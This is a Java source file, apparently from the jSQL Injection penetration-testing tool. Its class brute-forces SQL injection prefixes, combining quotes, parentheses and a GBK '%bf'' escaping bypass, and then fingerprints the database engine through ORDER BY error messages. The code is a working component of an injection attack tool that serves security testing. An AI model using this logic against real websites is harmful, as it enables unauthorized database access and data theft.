View Javadoc
1   package com.jsql.model.suspendable;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.util.CookiesUtil;
5   import com.jsql.util.JsonUtil;
6   import com.jsql.view.subscriber.Seal;
7   import com.jsql.model.exception.JSqlException;
8   import com.jsql.model.exception.StoppedByUserSlidingException;
9   import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10  import com.jsql.model.injection.engine.MediatorEngine;
11  import com.jsql.model.injection.engine.model.Engine;
12  import com.jsql.model.suspendable.callable.CallablePageSource;
13  import com.jsql.util.I18nUtil;
14  import com.jsql.util.LogLevelUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  
20  import java.util.*;
21  import java.util.concurrent.CompletionService;
22  import java.util.concurrent.ExecutionException;
23  import java.util.concurrent.ExecutorCompletionService;
24  import java.util.concurrent.ExecutorService;
25  import java.util.regex.Pattern;
26  import java.util.stream.Stream;
27  
28  /**
29   * Runnable class, define insertionCharacter to be used during injection,
30   * i.e -1 in "...php?id=-1 union select...", sometimes it's -1, 0', 0, etc.
31   * Find working insertion char when error message occurs in source.
32   * Force to 1 if no insertion char works and empty value from user,
33   * Force to user's value if no insertion char works,
34   * Force to insertion char otherwise.
35   */
36  public class SuspendableGetCharInsertion extends AbstractSuspendable {
37      
38      private static final Logger LOGGER = LogManager.getRootLogger();
39      private final String parameterOriginalValue;
40  
41      public SuspendableGetCharInsertion(InjectionModel injectionModel, String parameterOriginalValue) {
42          super(injectionModel);
43          this.parameterOriginalValue = parameterOriginalValue;
44      }
45  
46      @Override
47      public String run(Input input) throws JSqlException {
48          String characterInsertionByUser = input.payload();
49          
50          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetInsertionCharacter");
51          CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
52  
53          var characterInsertionFoundOrByUser = new String[1];
54          characterInsertionFoundOrByUser[0] = characterInsertionByUser;  // either raw char or cookie char, with star
55          List<String> charactersInsertion = this.initCallables(taskCompletionService, characterInsertionFoundOrByUser);
56          
57          var mediatorEngine = this.injectionModel.getMediatorEngine();
58          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 3] Fingerprinting database and prefix using ORDER BY...");
59  
60          String charFromOrderBy = null;
61          
62          int total = charactersInsertion.size();
63          while (0 < total) {
64              if (this.isSuspended()) {
65                  throw new StoppedByUserSlidingException();
66              }
67              try {
68                  CallablePageSource currentCallable = taskCompletionService.take().get();
69                  total--;
70                  String pageSource = currentCallable.getContent();
71                  
72                  List<Engine> enginesOrderByMatches = this.getEnginesOrderByMatch(mediatorEngine, pageSource);
73                  if (!enginesOrderByMatches.isEmpty()) {
74                      if (this.injectionModel.getMediatorEngine().getEngineByUser() == this.injectionModel.getMediatorEngine().getAuto()) {
75                          this.setEngine(mediatorEngine, enginesOrderByMatches);
76                          this.injectionModel.sendToViews(new Seal.ActivateEngine(mediatorEngine.getEngine()));
77                      }
78                      
79                      charFromOrderBy = currentCallable.getCharacterInsertion();
80                      String finalCharFromOrderBy = charFromOrderBy;
81                      LOGGER.log(
82                          LogLevelUtil.CONSOLE_SUCCESS,
83                          "Found prefix [{}] using ORDER BY and compatible with Error strategy",
84                          () -> SuspendableGetCharInsertion.format(finalCharFromOrderBy)
85                      );
86                      break;
87                  }
88              } catch (InterruptedException e) {
89                  LOGGER.log(LogLevelUtil.IGNORE, e, e);
90                  Thread.currentThread().interrupt();
91              } catch (ExecutionException e) {
92                  LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
93              }
94          }
95          this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
96          if (charFromOrderBy == null && characterInsertionFoundOrByUser[0] != null) {
97              charFromOrderBy = characterInsertionFoundOrByUser[0];
98          }
99          return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
100     }
101 
102     private void setEngine(MediatorEngine mediatorEngine, List<Engine> enginesOrderByMatches) {
103         if (
104             enginesOrderByMatches.size() == 1
105             && enginesOrderByMatches.getFirst() != mediatorEngine.getEngine()
106         ) {
107             mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
108         } else if (enginesOrderByMatches.size() > 1) {
109             if (enginesOrderByMatches.contains(mediatorEngine.getPostgres())) {
110                 mediatorEngine.setEngine(mediatorEngine.getPostgres());
111             } else if (enginesOrderByMatches.contains(mediatorEngine.getMysql())) {
112                 mediatorEngine.setEngine(mediatorEngine.getMysql());
113             } else {
114                 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
115             }
116         }
117     }
118 
119     private List<Engine> getEnginesOrderByMatch(MediatorEngine mediatorEngine, String pageSource) {
120         return mediatorEngine.getEnginesForFingerprint()
121             .stream()
122             .filter(engine -> engine != mediatorEngine.getAuto())
123             .filter(engine -> StringUtils.isNotEmpty(
124                 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
125             ))
126             .filter(engine -> {
127                 Optional<String> optionalOrderByErrorMatch = Stream.of(
128                     engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
129                     .split("[\\r\\n]+")
130                 )
131                 .filter(errorMessage ->
132                     Pattern
133                     .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
134                     .matcher(pageSource)
135                     .matches()
136                 )
137                 .findAny();
138                 if (optionalOrderByErrorMatch.isPresent()) {
139                     LOGGER.log(
140                         LogLevelUtil.CONSOLE_SUCCESS,
141                         "Found [{}] using ORDER BY",
142                         engine
143                     );
144                 }
145                 return optionalOrderByErrorMatch.isPresent();
146             })
147             .toList();
148     }
149 
150     private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] characterInsertionFoundOrByUser) throws JSqlException {
151         List<String> prefixValues = Arrays.asList(
152             RandomStringUtils.secure().next(10, "012"),  // trigger probable failure
153             StringUtils.EMPTY,  // trigger matching, compatible with backtick
154             "1"  // trigger eventual success
155         );
156         List<String> prefixQuotes = Arrays.asList(
157             "'",
158             StringUtils.EMPTY,
159             "`",
160             "\"",
161             "%bf'"  // GBK slash encoding use case
162         );
163         List<String> prefixParentheses = Arrays.asList(
164             StringUtils.EMPTY,
165             ")",
166             "))"
167         );
168         List<String> charactersInsertion = new ArrayList<>();
169         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "[Step 2] Fingerprinting prefix using boolean match...");
170         boolean isFound = false;
171         for (String prefixValue: prefixValues) {
172             for (String prefixQuote: prefixQuotes) {
173                 for (String prefixParenthesis: prefixParentheses) {
174                     if (!isFound) {  // stop checking when found
175                         var prefixValueAndQuote = prefixValue + prefixQuote;
176                         var isRequiringSpace = prefixValueAndQuote.matches(".*\\w$") && prefixParenthesis.isEmpty();
177                         isFound = this.checkInsertionChar(
178                             characterInsertionFoundOrByUser,
179                             charactersInsertion,
180                             prefixValueAndQuote + prefixParenthesis
181                             + (isRequiringSpace ? "%20" : StringUtils.EMPTY)  // %20 required, + or space not working in path
182                         );
183                     }
184                 }
185             }
186         }
187         for (String characterInsertion: charactersInsertion) {
188             taskCompletionService.submit(
189                 new CallablePageSource(
190                     characterInsertion.replace(
191                         InjectionModel.STAR,
192                         StringUtils.SPACE  // covered by cleaning
193                         + this.injectionModel.getMediatorEngine().getEngine().instance().sqlOrderBy()
194                     ),
195                     characterInsertion,
196                     this.injectionModel,
197                     "prefix#orderby"
198                 )
199             );
200         }
201         return charactersInsertion;
202     }
203 
204     private boolean checkInsertionChar(
205         String[] characterInsertionFoundOrByUser,
206         List<String> charactersInsertion,
207         String prefixParenthesis
208     ) throws StoppedByUserSlidingException {  // requires prefix by user for cookie, else empty and failing
209         var isCookie = this.injectionModel.getMediatorMethod().getHeader() == this.injectionModel.getMediatorUtils().connectionUtil().getMethodInjection()
210             && this.injectionModel.getMediatorUtils().parameterUtil().getListHeader()
211             .stream()
212             .anyMatch(entry ->
213                 CookiesUtil.COOKIE.equalsIgnoreCase(entry.getKey())
214                 && entry.getValue().contains(InjectionModel.STAR)
215             );
216 
217         var isJson = false;
218         if (StringUtils.isNotBlank(this.parameterOriginalValue)) {  // can be null when path param
219             Object jsonEntity = JsonUtil.getJson(this.parameterOriginalValue);
220             isJson = !JsonUtil.createEntries(jsonEntity, "root", null).isEmpty();
221         }
222 
223         var isRawParamRequired = isJson || isCookie;
224 
225         if (isRawParamRequired) {
226             charactersInsertion.add(characterInsertionFoundOrByUser[0].replace(
227                 InjectionModel.STAR,
228                 prefixParenthesis
229                 + InjectionModel.STAR
230                 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
231             ));
232         } else {
233             charactersInsertion.add(
234                 prefixParenthesis
235                 + InjectionModel.STAR
236                 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
237             );
238         }
239 
240         InjectionCharInsertion injectionCharInsertion;
241         if (isRawParamRequired) {
242             injectionCharInsertion = new InjectionCharInsertion(
243                 this.injectionModel,
244                 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis),
245                 characterInsertionFoundOrByUser[0].replace(InjectionModel.STAR, prefixParenthesis + InjectionModel.STAR)
246             );
247         } else {
248             injectionCharInsertion = new InjectionCharInsertion(
249                 this.injectionModel,
250                 prefixParenthesis,
251                 prefixParenthesis + InjectionModel.STAR
252                 + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
253             );
254         }
255 
256         if (this.isSuspended()) {
257             throw new StoppedByUserSlidingException();
258         }
259         if (injectionCharInsertion.isInjectable()) {
260             if (isRawParamRequired) {
261                 characterInsertionFoundOrByUser[0] = characterInsertionFoundOrByUser[0].replace(
262                     InjectionModel.STAR,
263                     prefixParenthesis + InjectionModel.STAR
264                     + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment()
265                 );
266             } else {
267                 characterInsertionFoundOrByUser[0] = prefixParenthesis
268                     + InjectionModel.STAR
269                     + this.injectionModel.getMediatorEngine().getEngine().instance().endingComment();
270             }
271 
272             LOGGER.log(
273                 LogLevelUtil.CONSOLE_SUCCESS,
274                 "Found [{}] using boolean match",
275                 () -> SuspendableGetCharInsertion.format(characterInsertionFoundOrByUser[0])
276             );
277             return true;
278         }
279         return false;
280     }
281     
282     private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
283         String characterInsertionDetectedFixed = characterInsertionDetected;
284         if (characterInsertionDetectedFixed == null) {
285             characterInsertionDetectedFixed = characterInsertionByUser;
286             String logCharacterInsertion = characterInsertionDetectedFixed;
287             LOGGER.log(
288                 LogLevelUtil.CONSOLE_ERROR,
289                 "No prefix found, forcing to [{}]",
290                 () -> SuspendableGetCharInsertion.format(logCharacterInsertion)
291             );
292         } else if (
293             !SuspendableGetCharInsertion.format(characterInsertionByUser).isBlank()
294             && !SuspendableGetCharInsertion.format(characterInsertionByUser).equals(
295                 SuspendableGetCharInsertion.format(characterInsertionDetectedFixed)
296             )
297         ) {
298             String finalCharacterInsertionDetectedFixed = characterInsertionDetectedFixed;
299             LOGGER.log(
300                 LogLevelUtil.CONSOLE_INFORM,
301                 "Found prefix [{}], disable auto search in Preferences to force [{}]",
302                 () -> SuspendableGetCharInsertion.format(finalCharacterInsertionDetectedFixed),
303                 () -> SuspendableGetCharInsertion.format(characterInsertionByUser)
304             );
305         } else {
306             LOGGER.log(
307                 LogLevelUtil.CONSOLE_INFORM,
308                 "{} [{}]",
309                 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
310                 () -> SuspendableGetCharInsertion.format(characterInsertionDetected)
311             );
312         }
313         return characterInsertionDetectedFixed;
314     }
315 
316     public static String format(String prefix) {  // trim space prefix in cookie
317         return prefix.trim().replaceAll("(%20)?"+ Pattern.quote(InjectionModel.STAR) +".*", StringUtils.EMPTY);
318     }
319 }